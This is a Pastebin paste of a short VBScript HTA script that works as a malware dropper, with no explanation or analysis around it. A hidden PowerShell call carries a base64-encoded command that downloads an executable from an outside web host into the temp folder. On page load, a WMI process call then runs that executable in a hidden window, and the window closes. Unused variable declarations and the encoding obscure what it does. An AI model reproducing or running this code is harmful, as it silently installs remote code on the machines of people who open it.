Advertisement
Guest User

Untitled

a guest
May 9th, 2019
1,385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. <script language="VBScript">
  2. Function var_lollann()
  3. Dim cmanes
  4. Dim cmanes1
  5. Dim cmanes2
  6. Dim cmanes3
  7. Dim cmanes4
  8. Set cmanes = CreateObject("Wscript.Shell")
  9. Dim cmanes5
  10. Dim cmanes6
  11. Dim cmanes7
  12. Dim cmanes8
  13. temp = cmanes.expandEnvironmentStrings("%temp%")
  14. Dim cmanes9
  15. Dim cmanes10
  16. Dim cmanes11
  17. Dim cmanes12
  18. Dim cmanes13
  19. Dim cmanes14
  20. cmanes.run "powershell -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGUAbQBwAGkAcgBlAC0AZQB5AGUAdwBlAGEAcgAuAGMAbwBtAC8AbABvAGcAcwAvADgAMQAuAGUAeABlACIALAAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbgB2AGIAYQBjAGsAZQBuAGQALgBlAHgAZQAiACkAKQA7AA==", 0, true
  21. Dim cmanes15
  22. Dim cmanes16
  23. Dim cmanes17
  24. Dim cmanes18
  25. End Function
  26. Sub window_onload
  27. const impersonation = 3
  28. Const HIDDEN_WINDOW = 12
  29. Set Locator = CreateObject("WbemScripting.SWbemLocator")
  30. Set Service = Locator.ConnectServer()
  31. Service.Security_.ImpersonationLevel=impersonation
  32. Set objStartup = Service.Get("Win32_ProcessStartup")
  33. Set objConfig = objStartup.SpawnInstance_
  34. objConfig.ShowWindow = HIDDEN_WINDOW
  35. Set Process = Service.Get("Win32_Process")
  36. Error = Process.Create("cmd /c %temp%\nvbackend.exe", null, objConfig, intProcessID)
  37. window.close()
  38. end sub
  39.  
  40.  
  41. var_lollann
  42. self.close
  43. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement